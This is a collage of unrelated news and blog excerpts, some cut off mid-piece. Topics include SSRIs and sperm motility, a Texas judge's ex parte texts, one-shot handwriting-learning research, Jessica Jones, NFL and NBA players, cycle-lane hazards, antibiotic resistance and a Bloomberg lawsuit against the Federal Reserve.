Santoro and her coworkers plan to further study a trend they saw toward reduced sperm motility in the six men who were taking an antidepressant in the selective serotonin reuptake inhibitor (SSRI) class. This class of drugs includes Prozac, Celexa, Lexapro, Paxil and Zoloft.
“We know that SSRIs affect sex drive, but there aren’t much data on their effect on fertility,” she said.
from the well,-at-least-it's-now-perfectly-clear-which-side-she's-on dept
Judges are supposed to be impartial arbiters of justice. However, former Texas judge Elizabeth Coker felt the prosecution needed a helping hand now and then to ensure "justice" was done and provided hints via text messages to district attorneys. Once evidence of her ex parte communications became public knowledge after an investigation, Coker resigned -- or as she put it, "took one for the team."
While I could have fought these allegations, it would have involved significant time, significant expense, and disruption to everyone involved. I did not feel that was in the best interests of the taxpayers, our court system, my family or myself" Coker stated.
Her resignation became effective Dec. 6. Her campaign to become the district attorney of Polk County became effective Dec. 8.
“I am running for Polk County Criminal District Attorney!!!” she wrote in a Facebook post. “The support and encouragement I am receiving has been overwhelming and humbling. I want to thank all my family, friends and supporters who still want me as a public servant."
My reputation as a judge was being tough on crime. However, a prosecutor not only has to be tough but also smart on crime. I have the experience, knowledge and expertise to not only continue to be tough on crime but also be fiscally responsible while protecting the citizens of Polk County.
With Coker graciously stepping aside rather than facing the consequences of her actions, many people thought the Texas judicial system was finished with the disgraced judge. And maybe it was. Unfortunately, it appears Coker's not quite finished with the Texas judicial system This move makes it painfully apparent where Coker's allegiances laid during her tenure as a judge. In her mind, justice is punishing alleged wrongdoers and little else. The defense of the accused runs a very distant second. Her press release posted at Polk County Today makes this even more explicit.Judges are there to help ensure wrongdoers are punished, but being "tough on crime" isn't part of the job description. Apparently, Coker feels it is. She was "tough on crime" as a judge, so she pitched in and offered assistance to prosecutors and attorneys who might have otherwise made her appear"tough on crime."Her ethics violations were enough to get her stripped of her title. Coker can't even officiate a wedding at this point, but somehow feels her very recent past should have no bearing on her future as a "tough on crime" district attorney. This is a pretty bold move for a person in her position, one that should further call into question the cases she presided over as a judge. As the Commission noted back in October, Coker showed "a bias in favor of certain attorneys and a prejudice against others in both her judicial rulings and her court appointments." This is hardly the sort of person that should be elected to another post within the judicial system. If she was willing to break rules to help ensure convictions as a judge, there's no reason to believe she'll be any better behaved as a district attorney.
Aiming to shorten the learning process and make it more like the way humans acquire and apply new knowledge based on just a few examples, a team of researchers has developed what they call a Bayesian Program Learning framework and then used it to teach computers to identify and reproduce handwritten characters based on just a single example.
Whereas standard pattern-recognition algorithms represent concepts as configurations of pixels or collections of features, the BPL approach learns by “explaining” the data provided to the algorithm -- in this case, the sample character. Concepts are represented as probabilistic computer programs and the algorithm essentially programs itself by constructing code to produce the letter it sees. It can also capture variations in the way different people draw a given letter.
The model also “learns to learn” by using knowledge from previous concepts to speed learning on new ones, so it can use knowledge of the Latin alphabet to learn letters in the Greek alphabet more quickly, for example.
Most compelling of all is that the algorithm allowed computers to pass a sort of "visual Turing test." Specifically, the researchers asked both humans and computers to reproduce a series of handwritten characters after being shown just a single example of each; in some cases, subjects were asked to create entirely new characters in the style of those originally shown. Bottom line: human judges couldn't tell the results apart.
The researchers have applied their model to more than 1,600 types of handwritten characters in 50 writing systems, including Sanskrit, Tibetan, Gujarati and Glagolitic. They even tried it on invented characters such as those from the television series "Futurama."
A paper describing the research was published Friday in the journal Science. Its authors were Brenden Lake, a Moore-Sloan Data Science Fellow at New York University; Ruslan Salakhutdinov, an assistant professor of Computer Science at the University of Toronto; and Joshua Tenenbaum, a professor at MIT in the Department of Brain and Cognitive Sciences and the Center for Brains, Minds and Machines.
Netflix’s Jessica Jones feels startlingly fresh for a Marvel show — it has a tightly plotted story arc and authentic relationships, and more disturbingly, the terrible themes that define the show’s universe don’t feel so far off from our own. The show is also quite literally like nothing we’ve seen from Marvel — embedded throughout are a series of firsts for the Marvel Cinematic Universe. Ahead, we pinpoint 20 ideas, themes, characters, and moments that Jessica Jones introduced to the MCU. Spoilers for Jessica Jones ahead.
First things first: First Marvel Cinematic Universe property to star a female superhero (Agent Carter doesn’t have powers, lest we forget). First gay and lesbian relationship. Jeri and Wendy Hogarth are going through a contentious divorce so Jeri can marry her mistress, Pam. The gay couple seemed happily married (and rich enough to own a yacht!). Until Kilgrave gets to them, of course. First quoting of a Kendrick Lamar song. In episode six, Luke Cage hires Jessica Jones to find Antoine for Antoine’s sister. They eventually find him — listening and singing along to “Backseat Freestyle.” In general, the MCU has shown its superheroes to be generally out of touch or unaware of recent pop-culture references. Captain America has his notebook, baby-boomer Tony Stark has his AC/DC, and Falcon’s a fan of the Trouble Man soundtrack. First sex scene in the MCU. While characters like Tony Stark and Peter Quill reference their sexual exploits and Hawkeye probably had to make those babies somehow, the MCU has been relatively chaste. Heck, we still wonder if Captain America’s a virgin and Daredevil’s Charlie Cox got more action in his movie Stardust than throughout his own show. On Jessica Jones, Luke Cage and Jessica have hot, rough sex, while elsewhere in the MCU, it’s all Disney kisses at tense, climactic moments. In fact, it’s the first sex scene between two superheroes. Outside of fanfiction, of course. And the first cunnilingus scene — and the first oral sex of any kind! Again, outside of fanfiction. First severed head on a desk. Yes, we see Captain America stabbing people, Black Widow electrocuting them, and more than enough smashing and explosions, but rarely do we get a look at the bodies left in their wake. And even while Daredevil was particularly violent, Jessica Jones is stomach-churningly grisly. Makes sense, considering creator and executive producer Melissa Rosenberg was the head writer of Dexter for its first four glorious seasons. First Marvel property that doesn’t start with an origin story. The mystery of Jessica’s life, traumas, and powers unfold at a pace that’s slow enough to intrigue but fast enough not to drag. Daredevil was riddled with flashbacks; Jessica only needs one scene of smashing a bathroom sink as a teenager to establish her powers. First scene of fighting child abuse. The same scene that establishes Jessica’s powers also establishes her purpose: saving Trish from her horrible mother. While Matt Murdock tells a similar origin story to Foggy — beating up a man abusing his daughter — it’s another thing to actually see it happen. First use of the words, and acknowledgement of, rape and PTSD. Tony Stark had terrible and realistic panic attacks in Iron Man 3, but no one put a name to it: PTSD. And when Jessica clearly draws a line between what Kilgrave does and what consent actually is, she also draws a line between MCU properties that don’t acknowledge rape and her show, which does. First drug-addict detox. Yes, Tony Stark has a severe alcohol problem in Iron Man 2, but it goes relatively unmentioned in future iterations of his character as he sips Champagne with Pepper Potts in The Avengers. Obviously, heroin is a whole different beast, but the fact that Jessica pushes Malcolm out of the hold Kilgrave has on him — both the mind control and the drug addiction — is another instance of how the show doesn’t flinch away from terrible things that, unlike aliens attacking, actually happen. First pregnancy and first abortion. After Hope Shlottman gets beaten up in jail, Jessica visits her and finds out that Hope’s pregnant with Kilgrave’s baby and trying to get rid of it any way she can. Her lawyer Jeri eventually gives her the means to do so. First successful suicide attempt. A pretty major character offs herself, which we’ll refrain from mentioning for those who haven’t finished the series yet. A lot of MCU characters have a death wish, but rarely do they succeed. First mention of race and racism. Sure, all the characters in MCU have black friends, but do they ever once realize the racism those characters face? Ruben points this out to Jessica, and she ends up exploiting this for her own means, using Malcolm as a distraction at Metro General so she can sneak off to get the surgical anesthesia to use against Kilgrave. Calling out police brutality. Speaking of realistic New York, Simpson the cop is trigger-happy even as we see him un-Kilgraved, slamming Malcolm against a wall. While Trish insists Simpson’s a good person, Jessica is more wary, constantly calling him out on his excessive use of force. First time the MTA makes a cameo in one of MCU’s many New York–based stories. The MTA is in this as a villain (covering for a drunk bus driver), making Jessica Jones the most New York MCU property ever. First freelancing superhero. The fact that any of the MCU superheroes have any kind of work-life balance is probably because they turn their vigilantism into salaried positions, whether it’s working at Stark Industries or S.H.I.E.L.D. or starting their own small law firms. That scene with Jessica hounding Jeri about a payment? Too real. First time a superhero killed the villain with her bare hands. No muss no fuss. First shitty apartment. Okay, it’s huge for a freelancing gumshoe in Hell’s Kitchen with no roommates. But it’s still got all the cracks and stains of a real crap New York apartment, which contrasts nicely with the apartments Kilgrave steals and occupies. First time a Marvel superhero takes selfies. Jessica uses her phone a ton in comparison to the other MCU properties (though Cap does receive texts from Black Widow in Captain America: The Winter Soldier), and at one point, she starts sendings selfies to Kilgrave. Superheroes usually get photos taken of them. And before anyone says Spider-Man, it does not count as a selfie if you have to put a timer on your camera.
A previous version of this piece noted that Jessica Jones featured the first gay and lesbian characters in the MCU. They are not the first characters, but it is the first gay relationship. Jessica is also not the first superhero with a biological sibling — Scarlet Witch and Quicksilver were siblings as well.
As Tom Brady said this week, “Every good defense has a good middle linebacker,” and Hightower is the quarterback of New England’s defense. Like previous Patriots field generals Tedy Bruschi and Jerod Mayo, he’s the emotional tone-setter. He gets his teammates lined up in the correct spots. He plays with great anticipation and instincts. He defends the run, can cover sideline-to-sideline, can rush the passer — oh, and he can blitz, too.
Despite bearing the physical resemblance to the old-school, run-stuffing middle linebackers of the ’80s and ’90s, Hightower hasn’t only thrived in the modern NFL. He’s become a superstar.
You won’t see a middle linebacker have a bigger impact on a game than Hightower did against the Bengals on Sunday. With fellow linebacker Jamie Collins out, the 2012 first-round pick racked up 13 tackles and 1.5 sacks, and for the second week in a row, he forced a safety on a delayed blitz up the middle. The win over Cincinnati produced a highlight reel of what Hightower does in defensive coordinator Matt Patricia’s scheme: a little bit of everything.
Of all his responsibilities, Hightower’s first task is to be a force in the run game. In the first quarter against the Bengals, Hightower lined up on the right edge, and when Andy Dalton handed off to Giovani Bernard on a run to the other side of the field, Hightower chased the play down and combined with Rob Ninkovich to make the tackle for a 2-yard loss.
Later in the quarter, Hightower patiently filled the gap that had opened up in the middle of the field and strafed to his left, forcing Jeremy Hill to bounce the ball back into a mass of bodies and get stuffed for a short gain.
On the first play in the fourth quarter, Hightower took on Bengals center T.J. Johnson, shed the block as he tossed Johnson aside, and helped limit Hill for a 1-yard gain.
On a play later in the fourth quarter, Hightower recognized the run almost instantly and rushed forward to avoid oncoming blocks and slice through the offensive line. He combined with defensive tackle Alan Branch to stop Bernard in his tracks.
Of course, in today’s pass-happy, increasingly spread-out NFL, any linebacker has to be able to cover, and even at his size, Hightower has the athleticism to defend against the pass in the middle of the field and the flats. This expanded reliance on players with the range to cover speedy slot receivers and running backs has led to the marginalization of the Bruschiesque, traditional middle linebacker: If Hightower couldn’t cover, the Patriots wouldn’t keep him on the field in passing situations, but his versatility allows him to contribute in any situation. In the first quarter, and later in the third, he chased down a couple of outlet passes to Bengals running backs, limiting both receptions to 3 yards each.
Hightower also has a talent for affecting the passer that you don’t often see from the big linebackers in the middle: He registered 3.5 sacks and 24 quarterback pressures in 2015 and had five pressures to go with his 1.5 sacks on Sunday against Cincinnati. Due to, as Bill Belichick noted on Sunday, his “good feel, and rush techniques, and leverage,” the Patriots can and do use Hightower as an edge rusher at times. But where he’s most dangerous is as an additional interior rusher.
With the Bengals leading 14–10 midway through the third quarter, Patricia sent his middle linebacker up the gut on a delayed blitz, and Hightower corralled Dalton and pulled him down for a safety. That play swung the game in New England’s favor: Its offense scored a touchdown on the ensuing drive, a possession that gave the Patriots the lead and moved their win probability from 54 percent to over 80 percent.
On the next defensive series, Patricia kept his foot on the pedal and brought the pressure to Dalton. He used a different trick to get Hightower involved in the rush, utilizing what’s called “sugaring the A gaps,” or lining up Hightower (and sometimes another linebacker or defensive back) directly over the offensive line gaps on either side of the center prior to the snap. Doing this confuses the offensive line because whether or not Hightower actually rushes the passer, they have to account for him in their protection assignments. He can drop into coverage, and that often leaves a guard or center blocking nobody and opens up space for another defender rushing the passer elsewhere along the line.
When Hightower does rush from the A gap, though, he brings enough power and burst to overpower offensive linemen. On two straight snaps, key second- and third-down plays later in the third quarter with the Patriots holding on to a 19–14 lead, Hightower was the key to forcing a Bengals three-and-out. On the first play, Hightower and Malcom Brown ran a stunt (flipped positions) and Hightower pushed the guard back into Dalton, forcing an early and off-target throw to the sideline. The next play, Hightower took on the center with an unconventional basketball-style blockout move, and got Dalton off his spot in the pocket. Dalton scrambled right and threw low and incomplete, and the Bengals were forced to punt.
He didn’t stop there. With 4:23 left in the fourth quarter, and the Bengals down 28–17, Hightower’s sack from a similar stunt after sugaring the A gap effectively sealed the deal for the Patriots.
The downside of Hightower’s punishing, ever-present style of play is that he’s an injury risk week-to-week, and he’s struggled to stay on the field throughout his career. He missed four games each in 2014 and 2015 and he’s already missed two games this season with a torn meniscus. After sitting out Weeks 2 and 3, he tried to come back early to play the Bills in Week 4 — New England’s only loss this year — and looked a step slow against the Browns in Week 5 — despite forcing a safety in the game — before blowing up against the Bengals on Sunday.
Through six games, the Patriots own the 25th-ranked pass defense in the NFL, per Football Outsiders DVOA, and have the seventh-ranked rush defense. With a healthy Hightower, those numbers should only improve, as his versatility creates a trickle-down effect for the rest of the Patriots defense by providing depth at two or three positions.
"Myself and my brothers Chris Paul, Dwyane Wade, Carmelo Anthony -- you guys probably have heard of those guys," James told the crowd at an event hosted by his LeBron James Family Foundation at Cedar Point amusement park. "We just talked about how we felt and the state that America is in, but more importantly, what I wanted to talk about is the state of community.
"I believe in order for us to ultimately be as great as we can be as a nation that all of us have to go back into our communities and lend our hand. It starts brick by brick. It starts person by person. Family by family. Kid by kid."
James took the stage during the finishing notes of a live performance of "The Man" by pop musician Aloe Blacc. James' introduction was preceded by a video showing other luminaries who have ventured to northeast Ohio because of the Cleveland Cavaliers star, including Michelle Obama and Skylar Grey.
"Just using our resources, using our strength, using everything that we've been able to do to just build up these communities," James continued. "That's why I'm excited to be up here right now, because with the help of my foundation and with the help of everyone that gives us so much leeway to do what we want to do, we're able to do that and give back to these young kids because we all know that they're our future. We have to understand that."
"I believe in order for us to ultimately be as great as we can be as a nation that all of us have to go back into our communities and lend our hand. It starts brick by brick. It starts person by person. Family by family. Kid by kid," LeBron James said. AP Photo/Gene J. Puskar
James' foundation hosted more than 5,000 of its students and families at the event, an annual get-together it refers to as the "We Are Family Reunion." All of the participants at the event wore bright orange T-shirts with "We Are Family" printed across the front in big white block letters.
His foundation, now in its sixth year, teamed with the University of Akron last summer to pledge 2,300 four-year college scholarships, at a cost of more than $80 million, to students who enroll in and complete an education program.
On Tuesday, James welcomed the newest members of his "I Promise" campaign.
"The biggest shoutout: I got our new third-graders coming into our program next year," James said.
In addition to Blacc's surprise appearance and James' speech, the families were treated to a day full of rides at the park, including food and transportation. Selected members of the program were invited on stage to represent the foundation's view of a proper support-system hierarchy, starting at child and building to parent, family, neighborhood, school, school system, university, Akron community, northeast Ohio, state, country and the world.
"If you can change one child, one college degree and one future at a time, you can change the world," said a narrator in the video accompanying the presentation.
James, who signed a three-year, $100 million extension with the Cavaliers last week, joked that he would try out some of the park's rides because, "I signed my contract, so I'm actually OK to do that now."
He also used the occasion to remind the crowd of the Cavs' epic comeback from a 3-1 deficit to win the NBA Finals over the Golden State Warriors in June.
"I was injured in the hands of the police, and it took away a lot from my everyday life," Sefolosha said during an interview at his home. "From being able to help put the kids in bed, going up and down the stairs.
"We are talking about the stress that it has brought to the entire family, you know, my mom and dad in Switzerland, my brothers and sisters, my wife. Also, the damage to my reputation. I've had people texting me about what they saw in the newspaper and things like this. Every aspect of my life was affected by something like this, and I think putting light on the aftermath of something like this, I think that's also something that's important."
The Hawks' season ended this week with their elimination in the Eastern Conference finals. They secured the top seed in the East on March 27 and went on to win 60 games. The night before their April 8 game in Brooklyn against the Nets, Sefolosha went out with others to enjoy their success.
"That night we had quite a bit to celebrate," he said. "We had secured the first spot in the Eastern Conference. And I like New York. It's a city I enjoy. I have friends there. So me and one of my teammates decided to go out and have a good time in the city."
Sefolosha was arrested at the corner of 10th Avenue and West 17th Street in Manhattan's Chelsea district in the early hours of April 8. The police report filed by officer Johnpaul Giacona of the 10th Precinct stated that Sefolosha was interfering with the establishment of a crime scene in front of 1Oak Club, where Indiana Pacers forward Chris Copeland was stabbed in a separate incident.
But a pair of videos later published on TMZ challenge several specifics from the report.
One video, shot by a witness, appears to show an officer pulling out his baton as a group of officers wrestled Sefolosha to the ground. In addition, the arrests of Sefolosha and Hawks center Pero Antic appear to be more than 100 feet from the site of Copeland's stabbing.
Sefolosha suffered a broken fibula and ligament damage.
Asked how the injury was specifically caused or whether the police's use of force was acceptable, Sefolosha again said he's limited in what he can say about the arrest and his injuries.
"I'm looking forward for the truth to come out and for me being able to speak on it, but right now I think it's not the right time to do it," he said.
The New York Police Department has not responded to a request for comment.
Asked whether he put himself at risk being out at late hours, Sefolosha said, "I think it's a fair question to ask, 'Why were you out at 4 in the morning?' I think I'm not a criminal for it. I've always been a professional guy when it comes to basketball, and I put it first. Of course, it's my priority. So even when I do go out, I always think about the repercussions of anything I do could have on my teammates, on the team and on the NBA as a whole because we're looked at as NBA players.
"What one does often reflects on the others. So I try to conduct myself in a professional way. But at the same time I don't think it's a crime to be out, you know, even at 4 in the morning. It's something I can say I was OK doing due to the circumstances."
The Internal Affairs bureau of the New York City Police Department is investigating the incident.
Sefolosha said throughout Friday's interview that he hoped the incident in New York could serve as an opportunity to further the national conversation about policing.
"I'm saddened by it, and it definitely can happen to anybody," Sefolosha said. "That's why I think my having a platform to speak on it, I think it's an important subject, and something that needs to be discussed because I think I'm the proof that, again, this can happen to, honestly, anybody."
Sefolosha added that he did not want to draw direct parallels between his case in New York and those that resulted in fatalities in cities such as Ferguson, Missouri; North Charleston, South Carolina; Baltimore; Cleveland; and New York. In fact, Sefolosha was in New York for demonstrations in December, some four months before he got hurt nearby.
"I don't want to compare what happened to me to people losing their lives," Sefolosha said, "but one thing I want to say is I was in New York with my wife, we got caught in the middle of the protests for Eric Garner. And I got out of the car and took a picture and posted it on my Twitter, supporting the movement. I think it's a healthy thing when people can protest and say they disagree with something, as long as it's done in a peaceful way. I thought it was a great act and I just was supportive of it. Actually, hashtag-I-could-be-next."
A Sefolosha tweet from that time:
It was good to be in NY and see people getting there voice heard by protesting in the streets. #powertothepeople #icantbreath #icouldbenext — Thabo Sefolosha (@ThaboSefolosha) December 6, 2014
A citizen of Switzerland whose father is South African, Sefolosha played professionally in his native country, as well as France and Italy, before joining the Chicago Bulls in 2006 at age 22. Sefolosha said the presence of law enforcement never made him anxious growing up in Switzerland or when he first arrived in Chicago to play in the NBA. The incident in New York has lent him a new perspective as a European of African descent who makes his home in the United States.
"Coming from a different country, I have this view that's probably different than a lot of people who are from the U.S. and have been in the U.S. their whole life," Sefolosha said. "Coming to the U.S., you see a lot of marginalization, maybe, and stigma being portrayed about black people. This is something that is real, you know, to me, at least with the background I have. It's something I see as being real, being portrayed in the media, and I think that probably fuels or adds to the gap between races or between lower income or higher income."
Sefolosha discussed how professional athletes in the United States are often inured to the daily plights of average citizens, something he confessed to experiencing throughout most of his nine-year career in the NBA. He said that finding himself entangled with the New York Police Department in a criminal investigation changed that.
Speculation grew about some Aggie-maroon bluebonnets blooming near the University of Texas Tower. Speculation grew about some Aggie-maroon bluebonnets blooming near the University of Texas Tower. Photo: Dborah Cannon Photo: Dborah Cannon Image 1 of / 13 Caption Close UT keeping maroon bluebonnets blamed on Aggies 1 / 13 Back to Gallery
AUSTIN — Maroon bluebonnets will be allowed to remain on the University of Texas campus in Austin after mysteriously appearing in the shadow of the UT Tower.
It's believed that Texas A&M pranksters at some point planted the seeds for a variant of bluebonnet known as Alamo Fire, which is a shade of maroon. The Texas A&M colors are maroon and white, which Longhorn fans find unsightly in light of their loyalty to burnt orange.
MORE: Smith 'embarrassed' by latest Australia loss | What Australia's cricketers have planned now day five is free
All of Australia's 11 in Hobart bar Josh Hazlewood, Mitchell Starc and Joe Mennie will feature in the Sheffield Shield.
It comes in the wake of the hosts' embarrassing loss by an innings and 80 runs to South Africa in the second Test on Tuesday.
The majority of the team will return to domestic cricket starting Thursday, with Lehmann calling on players to put their hands up.
"We've got to make sure we're going in the right direction for Australian cricket because at the moment we haven't been," Lehmann told a news conference.
"We've got to win some games, we've got to stop the rot, if you like, to start with and then obviously start to play some good cricket again.
"It's a really good chance for all the players that are playing Shield cricket this weekend to put their hand up."
After being bowled out for 85 in the first innings, Australia lost 32-8 in the second in the huge loss.
Seemingly only pacemen Hazlewood and Starc, opener David Warner and captain Steve Smith are assured of spots.
"Guys that have played in this Test match, obviously some are disappointed in their performances and they get a chance to play the Shield game to put their hand up," Lehmann said.
"Obviously we've got some world-class bowlers, I thought Hazlewood was great, Starc's obviously getting back to his best and then you've got Smith and Warner.
"Outside of that, everyone has got to make some runs and take some wickets so it's a really important four days of Shield cricket.
"The lads know, they're keen to get out of here, get ready to play for that game and prepare the best they can.
But you don’t have to wait until 2021 to access content related to the Obama administration. With the launch of ObamaLibrary.gov, the National Archives is pleased to provide access to:
In the coming years, additional content will be published on the website to inform and inspire audiences interested in the legacy of the Obama administration.
The reasons often can’t be clearly spotted from inside cars or buses. Sometimes many cyclists don’t even know of the risk or act too slowly — a classic example is people cycling too close to car doors on busy roads and getting hit when a driver or passenger swings the door open without looking. So, even when some cyclists use the cycle lane, it does not mean other are wrong for advoiding it.
Random parking in cycle lane
Larger-scale parking in cycle lanes
Often around events, or weekend mass, or just sometimes outside shops…
Loading in cycle lanes
Cars driving in cycle lanes
Car doors
Many cycle lanes are placed in the “door zone” between parked cars and traffic — if you have children or teenagers get your children to practice opening the door with their hand further from the door, which helps with turning around and looking first before opening the door.
Turning right
This somehow comes as a surprise to some motorists, but people cycling need to turn right and to do so they usually need to cross traffic lanes…
Bus stops
Yes, the bus stop pictured here is in the cycle lane. There’s a design to avoid this, which is standard in the Netherlands, but not so here…
Narrow cycle lanes
Narrow often hardly allow for the space taken up by a bicycle’s handlebars, nevermind if a careless car driver or a truck is passing…
Construction signs
All too often unnecessarily placed in cycle lanes or paths when there’s a grass margin, large footpath or sign posts which such signs could be placed without blocking any road users…
Dead ends
Because there’s only a cycle lane on one side of the road!
And it’s not bi-directional! I’ve been in cars when the driver has asked why isn’t the person cycling in the cycle lane here…
Shared space and blind spots
It’s not busy now but the footpath and cycle paths combine here on a blind corner and slope, which has a pedestrian crossing in it!…
Glass lanes
Sometimes glass from bus stops, sometimes from car crashes or sometimes from glass bottles –all can be found on cycle lanes but motorists and people in buses can’t see these things….
Dangerous ending points
Where motorists are directed into your path just as the cycle lane ends…
Just painted on footpaths
This isn’t designed for cycling and it allows for cars turning at speed across the minor road crossing…
Confusing shared footpath designs
Which people walk in even where the cycling only part re-starts…
Bollards
Are known to be a cause of death to older people cycling in the Netherlands… It does not help when they are black when cycling in dark and on pointlessly small sections of shared footpaths…
It’s a contra-flow lane
You only use it in one direction… Some motorists seem fully unaware of contra-flow cycle lane and that people cycling with the flow of the general traffic must by law use the general traffic lanes…
It can’t fit!
The cycle lane and a car can’t fit between the edge of the road and the centre line…
Traffic lights in the way
Mixes bicycles with people walking and waiting to cross the road…
Put off-road and into danger
Only put off-road to be put back on it at a dangerous slip road turn …
Yield
Even to small side roads…
Poor transitions
This is the equivalent of a car having to drive up onto a footpath over a high kerb… Just to travel in a straight line…
Blind spots and poor surfacing
Two-way the size of one-way!
This is a cycle lane!?
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A teenage girl has been forced to stand by the side of a busy road holding a sign accusing her of 'disrespect' towards her family.
15-year-old Jasmine has had a number of behavioural issues, and the last straw for her parents came when she let a boy into her house in the middle of the night.
So they made her stand out near their home in Palm Coast, Florida, advertising her misdeeds for passers-by to see.
The sign held by Jasmine, whose surname has not been released, read: 'I sneak boys in at 3am and disrespect my parents and grandparents.'
Punishment: 15-year-old Jasmine, centre, has been forced to pose with a humiliating sign by her parents
Her mother Melinda and stepfather Mike say the teenager has been acting out ever since she started at high school this fall, according to WESH .
They accuse her of drinking, lying and sneaking out of the house, before the forbidden liaison which led to Jasmine's unusual punishment on Wednesday.
They insist that they have tried a number of alternative disciplinary methods, but that none have worked so far.
'I've taken all her toys or her electronics away - her phone, no privileges on the TV or computer - and still she just laughs about it,' Melinda said.
Discipline: Jasmine was being punished following an apparent series of bad behaviour
Parents: Stepfather Mike, left, and mother Melinda, right, say they have tried everything to make her obey them
Mike added that while the punishment might seem brutal, it was motivated by compassion.
'This is all about love,' he told WESH. 'I took my day off of work. I missed out on $300 or $400 today to do this. You know what I mean, to come and do this. I love this kid.'
He added that Jasmine needed to be straightened out before getting into more serious trouble, saying: 'This is the beginning of what she's doing to eventually wind up in prison.'
The teenager unsurprisingly took a different view of her punishment, insisting: 'That's not love.'
She added, 'It's not just embarrassing them, it's embarrassing me too.'
Harsh: But most passing motorists on Sunday seemed to approve of the unorthodox punishment
However, Jasmine also admitted that the unorthodox discipline had led her to rethink her behaviour - and her parents have warned her that if she does not mend her ways, they will consider making her hold a sign outside her own school, or even shave her head.
While most passing motorists seemed to approve of Jasmine's fate, one stopped to make sure she was OK, saying: 'The way she looks right now, I don't want her to hurt herself.'
A California resident has filed the “Intolerant Jackass Act” to take out her frustration against the state attorney general’s inability to stop a ballot measure calling for gays to be killed.
Huntington Beach attorney Matthew McLaughlin submitted a proposal, along with a $200 filing fee, last month for the “Sodomite Suppression Act,” which calls for “any person who willingly touches another person of the same gender for purposes of sexual gratification be put to death by bullets to the head or by any other convenient method.”
Attorney General Kamala Harris is required under state law to prepare the initiative, which was properly filed, and forward it to California’s secretary of state so supporters may collect the 365,000 signatures needed to place the measure on the 2016 ballot.
Charlotte Laws said she was “fighting fire with fire” by filing a competing measure with language that mirrors McLaughlin’s but mandates three hours of sensitivity a month for 12 months and a $5,000 donation to an LGBT rights group for anyone found to be an “intolerant jackass.”
Laws, a community activist, said she is aware that her proposal will never become law and likely violates the First Amendment, but the measure is intended to be symbolic.
The term invasive species refers to animals, plants, or pathogens that are not native to a particular ecosystem. They are likely to cause economic and environmental harm, or be hazardous to human or livestock health. Most invasive species introductions are caused by human action or error, but occasionally an organism will develop behaviors that compel outside of their native range. This infographic presents information on 24 invasive insect species in North America, where they originated from, and the destructive impact they have. You may recognize many of these species, especially if you spend a lot of time working or playing outdoors.
It is being reported by NFL.com's NFL Insider Albert Breir that the Pittsburgh Steelers have decided to pick up the 5th-year option on G David DeCastro's rookie contract. DeCastro joins San Diego Chargers LB Melvin Ingram who recently received a fifth year option on his rookie contract.
The Steelers utilized the same option with Cameron Heyward last season, giving Heyward a healthy bonus for his year of service in 2015.
Like Heyward, the Steelers will want to extend DeCastro's contract to keep them in Pittsburgh for years to come, but utilizing the 5th year option for first round draft picks gives the team another year of service from the player, as well as more time for them to iron out details of a long-term contract.
"The rise of antibiotic resistance is a global health crisis, and governments now recognize it as one of the greatest challenges for public health today. It is reaching dangerously high levels in all parts of the world," said WHO Director-General Margaret Chan. "Antibiotic resistance is compromising our ability to treat infectious diseases and undermining many advances in medicine."
She warned that the problem is so bad that it could lead to "the end of modern medicine as we know it," reported Voice of America.
Antibiotic resistance occurs when bacteria become immune to the antibiotics used to treat the infections they cause. Overuse and misuse of antibiotics dramatically speeds up resistance and makes common infections and minor injuries much harder to treat.
Resistance is largely caused by people taking antibiotics for infections they cannot help, people failing to take antibiotics for the full recommended time frame, natural mutation and evolution, and the widespread use of antibiotics on farm animals, according to NBC News.
Chan said that if antibiotics continue to be misused, the medicine could become useless against common infections and minor scratches, which could once again kill.
Already, two million people become infected with antibiotic-resistant bacteria each year and 23,000 die as a direct result of antibiotic-resistant infections, according to the CDC. If bacteria continue evolving at the current rate, by 2050, some 10 million people will die each year due to resistance, costing the world up to $100 trillion, according to a recent review on antimicrobial resistance commissioned by the United Kingdom.
To help avoid the further emergence and spread of antibiotic resistance, WHO has launched a global campaign to raise awareness and encourage best practices among the public, policymakers, health and agricultural professionals.
On Monday, the first day of World Antibiotics Week (running Nov. 16-20), the group published results from a 12-country survey designed to gauge the public's knowledge on the use of antibiotics, and the results are somewhat worrisome.
The 10,000-person survey found that 64 percent of respondents believed that antibiotics cure the common cold and flu, while in fact, the drugs have no impact on viruses. Thirty-two percent said you should stop taking antibiotics once you feel better, but doing so actually increases the risk that the infection isn't properly cleared, according to CBS News.
The survey was conducted in Barbados, China, Egypt, India, Indonesia, Mexico, Nigeria, Russian Federation, Serbia, South Africa, Sudan and Vietnam.
A large majority of respondents, 76 percent, had a misunderstanding of the concept of "resistance," wrongly believing that antibiotic resistance meant the body was becoming resistant. However, the bacteria is actually becoming resistant. Forty-six percent mistakenly believed that antibiotic resistance only affects people who regularly take antibiotics, but anyone can get a superbug infection at any time. Sixty-six percent also thought antibiotic resistance only affects those who don't take antibiotics as prescribed.
Chan urged doctors to "treat antibiotics as a precious commodity," dissuade patients from demanding antibiotics for infections they can't treat and to use the medicine strictly according to the prescription.
But doctors can only do so much, especially considering, for example, only 56 percent of Russian respondents who had taken antibiotics in the past year had them prescribed by a doctor or nurse, while five percent of Chinese and Nigerian respondents had bought them over the Internet or from a hawker.
Who's making it? Not some scary Chicken Littles in the Daily Kos diaries. Not some Doomer site. Not wacked-out gold bugs. Not Ron Paul.
This claim is being made by a consortium of the world's biggest and most powerful banks.
What's the secret they don't want you to know?
It all starts here:
In November of last year, the Bloomberg news organization sued the Federal Reserve bank of the United States. The goal of the suit was to force the Fed to disclose information on the alphabet soup of lending programs it created in 2008 to help prop up Wall St. banks:
Bloomberg News asked a U.S. court today to force the Federal Reserve to disclose securities the central bank is accepting on behalf of American taxpayers as collateral for $1.5 trillion of loans to banks. The lawsuit is based on the U.S. Freedom of Information Act, which requires federal agencies to make government documents available to the press and the public, according to the complaint. The suit, filed in New York, doesn't seek money damages. "The American taxpayer is entitled to know the risks, costs and methodology associated with the unprecedented government bailout of the U.S. financial industry," said Matthew Winkler, the editor-in-chief of Bloomberg News, a unit of New York-based Bloomberg LP, in an e-mail.
The suit sought to reveal which banks were getting which part of the $1.5 trillion dollars and what assets the banks were putting up as collateral for the loans.
The Federal Reserve fought the case and ...
They lost it:
